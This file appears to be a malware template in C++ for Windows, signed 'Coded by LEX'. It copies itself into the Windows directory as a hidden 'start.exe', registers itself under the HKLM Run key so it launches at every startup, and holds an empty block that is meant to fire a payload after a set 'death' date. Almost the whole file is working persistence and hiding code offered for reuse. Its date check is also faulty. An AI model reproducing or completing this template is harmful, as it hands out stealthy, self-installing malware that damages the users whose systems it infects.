#include <windows.h>
#include <fstream>
#include <time.h>
//----------------------settings-----------------------------------------------
#define SOFTNAME "\\start.exe" //file name after installation
#define REGNAME "myname" //program name that will be displayed in the startup
#define DAY 4 //day start program (1-31)
#define MON 2 //month start program (1-12)
#define YEAR 2012 //Year
//--------------global variables-------------------------------------------
char myname[1024],windir[1024];
HKEY rKey;
time_t rawtime;
struct tm * timeinfo,deathTime;
//------------------------------------------------------------------------------
using namespace std;
//------------------------------------------------------------------------------
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
//--------------------------------------------------------------------------
GetModuleFileName(hThisInstance,myname,sizeof (myname));//get its location in the system
GetWindowsDirectory(windir,sizeof(windir));//get the directory where you installed Windows
strcat(windir,SOFTNAME);//add the name of the program to a directory for Windows install path to get the file
//---------------begin to put---------------------------------------
ifstream in(windir);//try to open the file
if(!in.is_open())//if it does not open
{
in.close();//close the file, because we need
CopyFile(myname,windir,TRUE);//copying
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);//add attributes to the new copy
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &rKey);//open registry branch
RegSetValueEx(rKey, REGNAME, 0, REG_SZ, (BYTE*)(LPCTSTR)windir, 35);//writing in the open branch that we want
RegCloseKey(rKey);//close the registry key
}
rawtime=time(NULL);//get system time
timeinfo=localtime(&rawtime);//transform the system time in the format convenient for us
//fill data
deathTime.tm_mday=DAY;
deathTime.tm_mon=MON-1;
deathTime.tm_year=YEAR-1900;
if(deathTime.tm_mday<=timeinfo->tm_mday&&deathTime.tm_mon<=timeinfo->tm_mon&&deathTime.tm_year<=timeinfo->tm_year)//check the date if older than the specified => execute code
{
//And finally, here we write our code =)
}
return 0;
}
// Coded by LEX //
Comments